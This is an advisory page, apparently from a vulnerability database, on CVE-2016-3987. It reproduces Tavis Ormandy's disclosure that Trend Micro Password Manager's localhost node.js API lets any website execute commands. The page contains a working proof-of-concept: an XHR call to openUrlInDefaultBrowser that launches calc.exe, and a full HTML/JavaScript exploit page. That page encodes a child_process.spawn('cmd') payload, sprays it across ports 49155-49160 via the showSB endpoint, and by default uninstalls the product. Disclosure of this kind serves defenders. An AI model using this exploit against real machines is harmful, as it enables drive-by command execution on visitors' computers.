Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands

🗓️ 11 Jan 2016 00:00:00Reported by Google Security ResearchType

Trend Micro Antivirus Vulnerability in node.js HTTP Serve

Reporter	Title	Published	Views	Family All 9
BDU FSTEC	The vulnerability of the HTTP server of the Trend Micro Password Manager allows a hacker to execute arbitrary commands.	23 Nov 201700:00	–	bdu_fstec
Circl	CVE-2016-3987	11 Jan 201600:00	–	circl
CNVD	Trend Micro Password Manager HTTP Server Arbitrary Command Execution Vulnerability	14 Apr 201600:00	–	cnvd
Check Point Advisories	Trend Micro Password Manager Command Injection (CVE-2016-3987)	29 Sep 202100:00	–	checkpoint_advisories
CVE	CVE-2016-3987	8 Apr 201616:00	–	cve
Cvelist	CVE-2016-3987	8 Apr 201616:00	–	cvelist
NVD	CVE-2016-3987	12 Apr 201602:00	–	nvd
Prion	Design/Logic Flaw	12 Apr 201602:00	–	prion
RedhatCVE	CVE-2016-3987	22 May 202511:58	–	redhatcve

<!--
Source: https://code.google.com/p/google-security-research/issues/detail?id=693

When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup.

http://www.trendmicro.com/us/home/products/software/password-manager/index.html

This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests.

It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute().

This means any website can launch arbitrary commands, like this:

x = new XMLHttpRequest()
x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);
try { x.send(); } catch (e) {};

(Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed).
-->

<html>
<head>
    <title>Trend Micro Maximum Security 10 Exploit</title>
</head>
<body>
    <p>
    Sample exploit for Trend Micro Maximum Security 10.
    <p>
    -- Tavis Ormandy.
    <p>
    Command: <input id="command" value="C:/PROGRA~1/TRENDM~1/Titanium/Remove.exe" size="64">
    <p>
    <a href="javascript:begin()">Click Here</a> to run the command above (the default will uninstall Trend Micro Maximum).
    <p>
    <img src="http://reactiongifs.us/wp-content/uploads/2013/02/awesome_to_the_max.gif">
<script>
    function begin() {
        // The command you want to run, arguments will work but don't use single quotes.
        // Lets uninstall Trend Micro.
        var cmd  = document.getElementById('command').value;

        // Start port, Trend Micro trys top open a port starting here until it works.
        var port = 49155;

        // Wrapper code to start cmd.
        var code = "topWindow.require('child_process').spawn('cmd', [ '/c', '" + cmd + "' ])"

        // We can't send quotes, so encode that via character codes.
        code = code.split('').map(function(a){ return a.charCodeAt(0) }).join(',');

        // Create the XHR's
        for (; port <= 49160; port++) {
            var x = new XMLHttpRequest();

            x.open('GET', 'https://localhost:' + port + '/api/showSB?url=javascript:eval(String.fromCharCode(' + code + '))', false);

            // We can't tell if it worked because of the cross domain policy.
            try { x.send(); } catch (e) {};
        }
    }
</script>

11 Jan 2016 00:00Current

8.5High risk

Vulners AI Score8.5

CVSS 3.19.8

CVSS 210

EPSS0.22304